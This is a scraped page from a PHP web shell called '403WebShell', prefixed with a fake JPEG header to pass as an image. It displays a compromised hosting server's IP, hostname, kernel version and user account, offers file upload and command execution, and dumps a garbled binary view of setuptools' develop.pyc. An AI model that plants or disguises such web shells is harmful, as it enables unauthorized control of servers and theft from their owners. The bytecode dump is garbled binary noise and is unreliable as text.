���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.244  /  Your IP : 216.73.216.222
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyc
�
u�fc@s�ddlmZddlmZddlmZmZddlZddlZddl	Z	ddl
mZddlZddl
mZddlmZddlZeZdejefd	��YZd
dd��YZdS(
i����(tconvert_path(tlog(tDistutilsErrortDistutilsOptionErrorN(tsix(teasy_install(t
namespacestdevelopcBs�eZdZdZejddgZejdgZeZ	d�Z
d�Zd	�Ze
d
��Zd�Zd�Zd
�Zd�ZRS(sSet up package for developments%install package in 'development mode't	uninstalltusUninstall this source packages	egg-path=s-Set the path to be used in the .egg-link filecCsA|jr)t|_|j�|j�n
|j�|j�dS(N(RtTruet
multi_versiontuninstall_linktuninstall_namespacestinstall_for_developmenttwarn_deprecated_options(tself((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pytrun s		


cCs5d|_d|_tj|�d|_d|_dS(Nt.(tNoneRtegg_pathRtinitialize_optionst
setup_pathtalways_copy_from(R((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyR)s
		
	cCs�|jd�}|jrCd}|j|jf}t||��n|jg|_tj|�|j�|j	�|j
jtjd��|jd}t
jj|j|�|_|j|_|jdkr�t
jj|j�|_ntj|j�}tjt
jj|j|j��}||kr?td|��ntj|tj|t
jj|j��d|j�|_|j|j|j|j�|_dS(Ntegg_infos-Please rename %r to %r before using 'develop's*.eggs	.egg-linksA--egg-path must be a relative path from the install directory to tproject_name(tget_finalized_commandtbroken_egg_infoRRtegg_nametargsRtfinalize_optionstexpand_basedirstexpand_dirst
package_indextscantglobtostpathtjointinstall_dirtegg_linktegg_baseRRtabspatht
pkg_resourcestnormalize_pathRtDistributiontPathMetadatatdistt_resolve_setup_pathR(RteittemplateRtegg_link_fnttargetR((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyR0s<	




!cCs�|jtjd�jd�}|tjkrGd|jd�d}ntjtjj	|||��}|tjtj�kr�t
d|tjtj���n|S(s�
        Generate a path from egg_base back to '.' where the
        setup script resides and ensure that path points to the
        setup path from $install_dir/$egg_path.
        t/s../isGCan't get a consistent path to setup script from installation directory(treplaceR$tseptrstriptcurdirtcountR+R,R%R&R(R)R'Rt
path_to_setuptresolved((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyR0ZscCs�tjr�t|jdt�r�|jddd�|jd�|jd�}tj	|j
�}|jdd|�|jd�|jddd�|jd�|jd�}||_||j_
tj||j�|j_n-|jd�|jddd�|jd�|j�tjr>|jtj�dt_n|j�tjd	|j|j�|js�t|jd
��"}|j|jd|j�WdQXn|jd|j|j �dS(Ntuse_2to3tbuild_pytinplaceiRR)t	build_extisCreating %s (link to %s)tws
(!RtPY2tgetattrtdistributiontFalsetreinitialize_commandtrun_commandRR+R,t	build_libRR/tlocationR.Rt	_providertinstall_site_pyt
setuptoolstbootstrap_install_fromRRtinstall_namespacesRtinfoR(R)tdry_runtopentwriteRtprocess_distributiontno_deps(Rtbpy_cmdt
build_pathtei_cmdtf((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyRns6


	


	
	$cCs�tjj|j�r�tjd|j|j�t|j�}g|D]}|j�^qD}|j	�||j
g|j
|jgfkr�tjd|�dS|j
s�tj|j�q�n|j
s�|j|j�n|jjr�tjd�ndS(NsRemoving %s (link to %s)s$Link points to %s: uninstall aborteds5Note: you must uninstall or replace scripts manually!(R$R%texistsR(RROR)RQR8tcloseRRtwarnRPtunlinkt
update_pthR/RDtscripts(Rt
egg_link_filetlinetcontents((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyR�s
		cCs�||jk	rtj||�S|j|�x~|jjp>gD]j}tjjt	|��}tjj
|�}tj|��}|j
�}WdQX|j||||�q?WdS(N(R/Rtinstall_egg_scriptstinstall_wrapper_scriptsRDR^R$R%R*RtbasenametioRQtreadtinstall_script(RR/tscript_nametscript_pathtstrmtscript_text((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyRb�s
cCst|�}tj||�S(N(tVersionlessRequirementRRc(RR/((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyRc�s(RR	sUninstall this source packageN(s	egg-path=Ns-Set the path to be used in the .egg-link file(t__name__t
__module__t__doc__tdescriptionRtuser_optionsRtboolean_optionsREtcommand_consumes_argumentsRRRtstaticmethodR0RRRbRc(((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyRs
				*	0		RlcBs)eZdZd�Zd�Zd�ZRS(s�
    Adapt a pkg_resources.Distribution to simply return the project
    name as the 'requirement' so that scripts will work across
    multiple versions.

    >>> from pkg_resources import Distribution
    >>> dist = Distribution(project_name='foo', version='1.0')
    >>> str(dist.as_requirement())
    'foo==1.0'
    >>> adapted_dist = VersionlessRequirement(dist)
    >>> str(adapted_dist.as_requirement())
    'foo'
    cCs
||_dS(N(t_VersionlessRequirement__dist(RR/((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyt__init__�scCst|j|�S(N(RCRu(Rtname((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyt__getattr__�scCs|jS(N(R(R((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pytas_requirement�s(RmRnRoRvRxRy(((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyRl�s
		((tdistutils.utilRt	distutilsRtdistutils.errorsRRR$R#Retsetuptools.externRR+tsetuptools.command.easy_installRRLRttypet
__metaclass__tDevelopInstallerRRl(((sK/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/develop.pyt<module>s�

Youez - 2016 - github.com/yon3zu
LinuXploit